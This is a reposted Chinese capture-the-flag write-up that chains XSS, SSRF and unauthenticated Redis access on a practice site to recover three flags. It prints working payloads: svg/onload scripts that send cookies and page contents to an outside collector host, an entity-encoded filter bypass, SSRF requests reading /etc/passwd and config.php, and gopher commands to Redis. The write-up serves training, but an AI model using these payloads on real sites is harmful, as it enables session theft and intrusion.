(转载:一叶飘零,链接:https://skysec.top/2018/08/17/xss-ssrf-redis/)

前言

最近有空,想到曾经刷的

  1. https://hackme.inndy.tw/scoreboard/

还有一组新题没做,于是看了一下,发现是xss->ssrf->redis的,觉得很有趣,于是做了一下,记录一下writeup
以前的web题解可以看这篇文章

  1. http://skysec.top/2018/01/07/hackme%E7%BD%91%E7%AB%99%E8%BE%B9%E5%81%9A%E8%BE%B9%E8%AE%B0%E5%BD%95/

给出本次题目的链接

  1. https://xssrf.hackme.inndy.tw/index.php

xssme

首先是第一关,探查了一下功能,大概4项:

  • 注册
  • 登录
  • 发email
  • 看email

    信息搜集

    上来扫了波目录
    1. https://xssrf.hackme.inndy.tw/robots.txt
    发现信息泄露
    1. User-agent: *
    2. Disallow: /config.php
    3. Disallow: /you/cant/read/config.php/can/you?
    4. Disallow: /backup.zip
    下载压缩包后,发现有密码,猜想应该是要读config.php中的关键信息,才能获得压缩包密码

    xss探测

    于是回到主题,题目名称既然叫xssme,那么应该就是xss攻击了
    于是首先探测一下过滤
    xss-ssrf-redis(转载一叶飘零) - 图1
    发现测试的时候会直接告诉我们过滤的关键字,这样就更容易探测了
    既然<Script不行,那我们试试<img>
    xss-ssrf-redis(转载一叶飘零) - 图2
    发现同样不行,那么既然onerror不行,我再试试onload
    1. <svg onload>
    xss-ssrf-redis(转载一叶飘零) - 图3
    发现也不行,那我再变一下
    1. <svg/onload>
    发现似乎没有被过滤,于是尝试payload
    1. <svg/onload="document.location='http://vps_ip:23333'">
    xss-ssrf-redis(转载一叶飘零) - 图4
    发现收到信息
    xss-ssrf-redis(转载一叶飘零) - 图5
    于是开始构造payload打一波cookie

    收获flag

    payload如下:
    1. <svg/onload="document.location='http://ugelgr.ceye.io/?'+document.cookie">

xss-ssrf-redis(转载一叶飘零) - 图6
解码后得到

  1. PHPSESSID=9crkuhdqs9b1jkslebpieprr86; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

于是愉快的获得了第一个flag

  1. FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}

并且获得提示,flag2在redis中

xssrf leak

结合题目之前的暗示
xss-ssrf-redis(转载一叶飘零) - 图7
应该是要以admin身份登入吧,既然有PHPSESSID那我们试试吧
xss-ssrf-redis(转载一叶飘零) - 图8
很无奈的得到了这样的提示,必须从本地登录
起初我认为需要修改http header,但是尝试了多种都发现不行,后来灵光一闪,一拍脑袋,是不是傻
我们直接利用xss去本地访问,再将页面内容打出来就好了呀!
于是思考到之前的思路

  1. <svg/onload>

构造出

  1. <svg/onload="document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)">

想去打页面内容
xss-ssrf-redis(转载一叶飘零) - 图9
但是发现了过滤
现在没办法了,只能思考编码绕过了,于是尝试将

  1. document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)

进行编码

  1. &#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x75;&#x67;&#x65;&#x6c;&#x67;&#x72;&#x2e;&#x63;&#x65;&#x79;&#x65;&#x2e;&#x69;&#x6f;&#x2f;&#x3f;&#x27;&#x2b;&#x62;&#x74;&#x6f;&#x61;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x62;&#x6f;&#x64;&#x79;&#x2e;&#x69;&#x6e;&#x6e;&#x65;&#x72;&#x48;&#x54;&#x4d;&#x4c;&#x29;

尝试payload

  1. <svg/onload="&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x75;&#x67;&#x65;&#x6c;&#x67;&#x72;&#x2e;&#x63;&#x65;&#x79;&#x65;&#x2e;&#x69;&#x6f;&#x2f;&#x3f;&#x27;&#x2b;&#x62;&#x74;&#x6f;&#x61;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x62;&#x6f;&#x64;&#x79;&#x2e;&#x69;&#x6e;&#x6e;&#x65;&#x72;&#x48;&#x54;&#x4d;&#x4c;&#x29;">

发现成功收到消息
xss-ssrf-redis(转载一叶飘零) - 图10
解码后保存到本地html里打开
xss-ssrf-redis(转载一叶飘零) - 图11
发现多了一个send request的功能,跟过去看代码
xss-ssrf-redis(转载一叶飘零) - 图12
没错,是多了一个request.php
那么结合题目意思,应该是有ssrf,我想应该就是利用这里的request.php了吧
那么继续去读这个页面的html

  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5. if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6. {
  7. document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8. }
  9. }
  10. xmlhttp.open("GET","request.php",true);
  11. xmlhttp.send();
  12. ">

经过编码后发送,得到
xss-ssrf-redis(转载一叶飘零) - 图13
同样解码后发现代码
xss-ssrf-redis(转载一叶飘零) - 图14
应该xss的点就是在这里了
于是尝试file协议读/etc/passwd

  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5. if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6. {
  7. document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8. }
  9. }
  10. xmlhttp.open("POST","request.php",true);
  11. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  12. xmlhttp.send("url=file:///etc/passwd");
  13. ">

xss-ssrf-redis(转载一叶飘零) - 图15
发现成功读取了/etc/passwd
那么我们回想到最初的文件

  1. User-agent: *
  2. Disallow: /config.php
  3. Disallow: /you/cant/read/config.php/can/you?
  4. Disallow: /backup.zip

于是直接读config.php

  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5. if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6. {
  7. document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8. }
  9. }
  10. xmlhttp.open("POST","request.php",true);
  11. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  12. xmlhttp.send("url=file:///var/www/html/config.php");
  13. ">

xss-ssrf-redis(转载一叶飘零) - 图16
cool,于是我们拿到了第二个flag

  1. FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}

xssrf redis

只剩下最后一步打redis了
这里很容易就想到了gopher未授权访问打redis
上一题提示我们redis再25566端口,于是我们尝试访问一下

  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5. if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6. {
  7. document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8. }
  9. }
  10. xmlhttp.open("POST","request.php",true);
  11. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  12. xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a_quit");
  13. ">

于是愉快的打出信息,发现果然是未授权访问
xss-ssrf-redis(转载一叶飘零) - 图17
那么看看key有哪些

  1. xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");

xss-ssrf-redis(转载一叶飘零) - 图18
发现了flag
然后我们尝试读取

  1. xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit");

发现报错
xss-ssrf-redis(转载一叶飘零) - 图19
发现类型错误了
那我们看看类型

  1. xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");

xss-ssrf-redis(转载一叶飘零) - 图20
发现是个list
那我们看看长度

  1. xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag%250a_quit");

xss-ssrf-redis(转载一叶飘零) - 图21
发现是53
那我们可以愉快的读取list了

  1. xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");

xss-ssrf-redis(转载一叶飘零) - 图22
我们把它拼接起来
xss-ssrf-redis(转载一叶飘零) - 图23
so cool
得到最后的flag

  1. FLAG{Rediswithout authentication is easy to exploit}